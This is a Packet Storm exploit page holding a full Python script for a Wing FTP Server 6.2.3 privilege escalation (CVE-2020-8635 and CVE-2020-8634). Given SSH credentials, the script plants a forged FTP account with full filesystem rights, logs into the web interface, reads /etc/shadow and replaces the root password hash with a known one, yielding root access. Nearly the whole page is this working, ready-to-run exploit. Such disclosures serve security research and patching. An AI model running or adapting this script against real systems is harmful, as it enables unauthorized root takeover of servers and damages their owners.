exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Wing FTP Server 6.2.3 Privilege Escalation

Wing FTP Server 6.2.3 Privilege Escalation
Posted Mar 2, 2020
Authored by Cary Hooper

Wing FTP Server version 6.2.3 suffers from a privilege escalation vulnerability.

tags | exploit
SHA-256 | 1ae5578623bbeb0e096eb60fd0cab4bbd70d30453e6bbaa55594af0861423833

Wing FTP Server 6.2.3 Privilege Escalation

Change Mirror Download
# Exploit Title: Wing FTP Server 6.2.3 - Privilege Escalation
# Google Dork: intitle:"Wing FTP Server - Web"
# Date: 2020-03-02
# Exploit Author: Cary Hooper
# Vendor Homepage: https://www.wftpserver.com
# Software Link: https://www.wftpserver.com/download/wftpserver-linux-64bit.tar.gz
# Version: v6.2.3
# Tested on: Ubuntu 18.04, Kali Linux 4, MacOS Catalina, Solaris 11.4 (x86)


# Given SSH access to a target machine with Wing FTP Server installed, this program:
# - SSH in, forges a FTP user account with full permissions (CVE-2020-8635)
# - Logs in to HTTP interface and then edits /etc/shadow (resulting in CVE-2020-8634)
# Each step can all be done manually with any kind of code execution on target (no SSH)
# To setup, start SSH service, then run ./wftpserver. Wing FTP services will start after a domain is created.
# https://www.hooperlabs.xyz/disclosures/cve-2020-8635.php (writeup)


#!/usr/bin/python3

#python3 cve-2020-8635.py -t 192.168.0.2:2222 -u lowleveluser -p demo --proxy http://127.0.0.1:8080

import paramiko,sys,warnings,requests,re,time,argparse
#Python warnings are the worst
warnings.filterwarnings("ignore")

#Argument handling begins
parser = argparse.ArgumentParser(description="Exploit for Wing FTP Server v6.2.3 Local Privilege Escalation",epilog=print(f"Exploit by @nopantrootdance."))
parser.add_argument("-t", "--target", help="hostname of target, optionally with port specified (hostname:port)",required=True)
parser.add_argument("-u", "--username", help="SSH username", required=True)
parser.add_argument("-p", "--password", help="SSH password", required=True)
parser.add_argument("-v", "--verbose", help="Turn on debug information", action='store_true')
parser.add_argument("--proxy", help="Send HTTP through a proxy",default=False)
args = parser.parse_args()

#Global Variables
global username
global password
global proxies
global port
global hostname
global DEBUG
username = args.username
password = args.password

#Turn on debug statements
if args.verbose:
DEBUG = True
else:
DEBUG = False

#Handle nonstandard SSH port
if ':' in args.target:
socket = args.target.split(':')
hostname = socket[0]
port = socket[1]
else:
hostname = args.target
port = "22"

#Prepare proxy dict (for Python requests)
if args.proxy:
if ("http://" not in args.proxy) and ("https://" not in args.proxy):
print(f"[!] Invalid proxy. Proxy must have http:// or https:// {proxy}")
sys.exit(1)
proxies = {'http':args.proxy,'https':args.proxy}
else:
proxies = {}
#Argument handling ends

#This is what a <username>.xml file looks like.
#Gives full permission to user (h00p:h00p) for entire filesystem '/'.
#Located in $_WFTPROOT/Data/Users/
evilUserXML = """<?xml version="1.0" ?>
<USER_ACCOUNTS Description="Wing FTP Server User Accounts">
<USER>
<UserName>h00p</UserName>
<EnableAccount>1</EnableAccount>
<EnablePassword>1</EnablePassword>
<Password>d28f47c0483d392ca2713fe7e6f54089</Password>
<ProtocolType>63</ProtocolType>
<EnableExpire>0</EnableExpire>
<ExpireTime>2020-02-25 18:27:07</ExpireTime>
<MaxDownloadSpeedPerSession>0</MaxDownloadSpeedPerSession>
<MaxUploadSpeedPerSession>0</MaxUploadSpeedPerSession>
<MaxDownloadSpeedPerUser>0</MaxDownloadSpeedPerUser>
<MaxUploadSpeedPerUser>0</MaxUploadSpeedPerUser>
<SessionNoCommandTimeOut>5</SessionNoCommandTimeOut>
<SessionNoTransferTimeOut>5</SessionNoTransferTimeOut>
<MaxConnection>0</MaxConnection>
<ConnectionPerIp>0</ConnectionPerIp>
<PasswordLength>0</PasswordLength>
<ShowHiddenFile>0</ShowHiddenFile>
<CanChangePassword>0</CanChangePassword>
<CanSendMessageToServer>0</CanSendMessageToServer>
<EnableSSHPublicKeyAuth>0</EnableSSHPublicKeyAuth>
<SSHPublicKeyPath></SSHPublicKeyPath>
<SSHAuthMethod>0</SSHAuthMethod>
<EnableWeblink>1</EnableWeblink>
<EnableUplink>1</EnableUplink>
<CurrentCredit>0</CurrentCredit>
<RatioDownload>1</RatioDownload>
<RatioUpload>1</RatioUpload>
<RatioCountMethod>0</RatioCountMethod>
<EnableRatio>0</EnableRatio>
<MaxQuota>0</MaxQuota>
<CurrentQuota>0</CurrentQuota>
<EnableQuota>0</EnableQuota>
<NotesName></NotesName>
<NotesAddress></NotesAddress>
<NotesZipCode></NotesZipCode>
<NotesPhone></NotesPhone>
<NotesFax></NotesFax>
<NotesEmail></NotesEmail>
<NotesMemo></NotesMemo>
<EnableUploadLimit>0</EnableUploadLimit>
<CurLimitUploadSize>0</CurLimitUploadSize>
<MaxLimitUploadSize>0</MaxLimitUploadSize>
<EnableDownloadLimit>0</EnableDownloadLimit>
<CurLimitDownloadLimit>0</CurLimitDownloadLimit>
<MaxLimitDownloadLimit>0</MaxLimitDownloadLimit>
<LimitResetType>0</LimitResetType>
<LimitResetTime>1580092048</LimitResetTime>
<TotalReceivedBytes>0</TotalReceivedBytes>
<TotalSentBytes>0</TotalSentBytes>
<LoginCount>0</LoginCount>
<FileDownload>0</FileDownload>
<FileUpload>0</FileUpload>
<FailedDownload>0</FailedDownload>
<FailedUpload>0</FailedUpload>
<LastLoginIp></LastLoginIp>
<LastLoginTime>2020-01-26 18:27:28</LastLoginTime>
<EnableSchedule>0</EnableSchedule>
<Folder>
<Path>/</Path>
<Alias>/</Alias>
<Home_Dir>1</Home_Dir>
<File_Read>1</File_Read>
<File_Write>1</File_Write>
<File_Append>1</File_Append>
<File_Delete>1</File_Delete>
<Directory_List>1</Directory_List>
<Directory_Rename>1</Directory_Rename>
<Directory_Make>1</Directory_Make>
<Directory_Delete>1</Directory_Delete>
<File_Rename>1</File_Rename>
<Zip_File>1</Zip_File>
<Unzip_File>1</Unzip_File>
</Folder>
</USER>
</USER_ACCOUNTS>
"""

#Verbosity function.
def log(string):
if DEBUG != False:
print(string)

#Checks to see which URL is hosting Wing FTP
#Returns a URL, probably. HTTPS preferred. empty url is checked in main()
def checkHTTP(hostname):
protocols= ["http://","https://"]
for protocol in protocols:
try:
log(f"Testing HTTP service {protocol}{hostname}")
response = requests.get(protocol + hostname, verify=False, proxies=proxies)
try:
#Server: Wing FTP Server
if "Wing FTP Server" in response.headers['Server']:
print(f"[!] Wing FTP Server found at {protocol}{hostname}")
url = protocol + hostname
except:
print("")
except Exception as e:
print(f"[*] Server is not running Wing FTP web services on {protocol}: {e}")
return url

#Log in to the HTTP interface. Returns cookie
def getCookie(url,webuser,webpass,headers):
log("getCookie")
loginURL = f"{url}/loginok.html"
data = {"username": webuser, "password": webpass, "username_val": webuser, "remember": "true", "password_val": webpass, "submit_btn": " Login "}
response = requests.post(loginURL, headers=headers, data=data, verify=False, proxies=proxies)
ftpCookie = response.headers['Set-Cookie'].split(';')[0]
print(f"[!] Successfully logged in! Cookie is {ftpCookie}")
cookies = {"UID":ftpCookie.split('=')[1]}
log("return getCookie")
return cookies

#Change directory within the web interface.
#The actual POST request changes state. We keep track of that state in the returned directorymem array.
def chDir(url,directory,headers,cookies,directorymem):
log("chDir")
data = {"dir": directory}
print(f"[*] Changing directory to {directory}")
chdirURL = f"{url}/chdir.html"
requests.post(chdirURL, headers=headers, cookies=cookies, data=data, verify=False, proxies=proxies)
log(f"Directorymem is nonempty. --> {directorymem}")
log("return chDir")
directorymem = directorymem + "|" + directory
return directorymem

#The application has a silly way of keeping track of paths.
#This function returns the current path as dirstring.
def prepareStupidDirectoryString(directorymem,delimiter):
log("prepareStupidDirectoryString")
dirstring = ""
directoryarray = directorymem.split('|')
log(f"directoryarray is {directoryarray}")
for item in directoryarray:
if item != "":
dirstring += delimiter + item
log("return prepareStupidDirectoryString")
return dirstring

#Downloads a given file from the server. By default, it runs as root.
#Returns the content of the file as a string.
def downloadFile(file,url,headers,cookies,directorymem):
log("downloadFile")
print(f"[*] Downloading the {file} file...")
dirstring = prepareStupidDirectoryString(directorymem,"$2f") #Why wouldn't you URL-encode?!
log(f"directorymem is {directorymem} and dirstring is {dirstring}")
editURL = f"{url}/editor.html?dir={dirstring}&filename={file}&r=0.88304407485768"
response = requests.get(editURL, cookies=cookies, verify=False, proxies=proxies)
filecontent = re.findall(r'<textarea id="textedit" style="height:520px; width:100%;">(.*?)</textarea>',response.text,re.DOTALL)[0]
log(f"downloaded file is: {filecontent}")
log("return downloadFile")
return filecontent,editURL

#Saves a given file to the server (or overwrites one). By default it saves a file with
#644 permission owned by root.
def saveFile(newfilecontent,file,url,headers,cookies,referer,directorymem):
log("saveFile")
log(f"Directorymem is {directorymem}")
saveURL = f"{url}/savefile.html"
headers = {"Content-Type": "text/plain;charset=UTF-8", "Referer": referer}
dirstring = prepareStupidDirectoryString(directorymem,"/")
log(f"Stupid Directory string is {dirstring}")
data = {"charcode": "0", "dir": dirstring, "filename": file, "filecontent": newfilecontent}
requests.post(saveURL, headers=headers, cookies=cookies, data=data, verify=False)
log("return saveFile")

#Other methods may be more stable, but this works.
#"You can't argue with a root shell" - FX
#Let me know if you know of other ways to increase privilege by overwriting or creating files. Another way is to overwrite
#the Wing FTP admin file, then leverage the lua interpreter in the administrative interface which runs as root (YMMV).
#Mind that in this version of Wing FTP, files will be saved with umask 111. This makes changing /etc/sudoers infeasible.

#This routine overwrites the shadow file
def overwriteShadow(url):
log("overwriteShadow")
headers = {"Content-Type": "application/x-www-form-urlencoded"}
#Grab cookie from server.
cookies = getCookie(url=url,webuser="h00p",webpass="h00p",headers=headers)

#Chdir a few times, starting in the user's home directory until we arrive at the target folder
directorymem = chDir(url=url,directory="etc",headers=headers,cookies=cookies,directorymem="")

#Download the target file.
shadowfile,referer = downloadFile(file="shadow",url=url,headers=headers,cookies=cookies,directorymem=directorymem)

# openssl passwd -1 -salt h00ph00p h00ph00p
rootpass = "$1$h00ph00p$0cUgaHnnAEvQcbS6PCMVM0"
rootpass = "root:" + rootpass + ":18273:0:99999:7:::"

#Create new shadow file with different root password & save
newshadow = re.sub("root(.*):::",rootpass,shadowfile)
print("[*] Swapped the password hash...")
saveFile(newfilecontent=newshadow,file="shadow",url=url,headers=headers,cookies=cookies,referer=referer,directorymem=directorymem)
print("[*] Saved the forged shadow file...")
log("exit overwriteShadow")

def main():
log("main")
try:
#Create ssh connection to target with paramiko
client = paramiko.SSHClient()
client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.WarningPolicy)
try:
client.connect(hostname, port=port, username=username, password=password)
except:
print(f"Failed to connect to {hostname}:{port} as user {username}.")

#Find wftpserver directory
print(f"[*] Searching for Wing FTP root directory. (this may take a few seconds...)")
stdin, stdout, stderr = client.exec_command("find / -type f -name 'wftpserver'")
wftpDir = stdout.read().decode("utf-8").split('\n')[0].rsplit('/',1)[0]
print(f"[!] Found Wing FTP directory: {wftpDir}")
#Find name of <domain>
stdin, stdout, stderr = client.exec_command(f"find {wftpDir}/Data/ -type d -maxdepth 1")
lsresult = stdout.read().decode("utf-8").split('\n')
#Checking if wftpserver is actually configured. If you're using this script, it probably is.
print(f"[*] Determining if the server has been configured.")
domains = []
for item in lsresult[:-1]:
item = item.rsplit('/',1)[1]
if item !="_ADMINISTRATOR" and item != "":
domains.append(item)
print(f"[!] Success. {len(domains)} domain(s) found! Choosing the first: {item}")
domain = domains[0]
#Check if the users folder exists
userpath = wftpDir + "/Data/" + domain
print(f"[*] Checking if users exist.")
stdin, stdout, stderr = client.exec_command(f"file {userpath}/users")
if "No such file or directory" in stdout.read().decode("utf-8"):
print(f"[*] Users directory does not exist. Creating folder /users")
#Create users folder
stdin, stdout, stderr = client.exec_command(f"mkdir {userpath}/users")
#Create user.xml file
print("[*] Forging evil user (h00p:h00p).")
stdin, stdout, stderr = client.exec_command(f"echo '{evilUserXML}' > {userpath}/users/h00p.xml")
#Now we can log into the FTP web app with h00p:h00p

url = checkHTTP(hostname)
#Check that url isn't an empty string (and that its a valid URL)
if "http" not in url:
print(f"[!] Exiting... cannot access web interface.")
sys.exit(1)

#overwrite root password
try:
overwriteShadow(url)
print(f"[!] Overwrote root password to h00ph00p.")
except Exception as e:
print(f"[!] Error: cannot overwrite /etc/shadow: {e}")

#Check to make sure the exploit worked.
stdin, stdout, stderr = client.exec_command("cat /etc/shadow | grep root")
out = stdout.read().decode('utf-8')
err = stderr.read().decode('utf-8')

log(f"STDOUT - {out}")
log(f"STDERR - {err}")
if "root:$1$h00p" in out:
print(f"[*] Success! The root password has been successfully changed.")
print(f"\n\tssh {username}@{hostname} -p{port}")
print(f"\tThen: su root (password is h00ph00p)")
else:
print(f"[!] Something went wrong... SSH in to manually check /etc/shadow. Permissions may have been changed to 666.")

log("exit prepareServer")
finally:
client.close()

main()
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close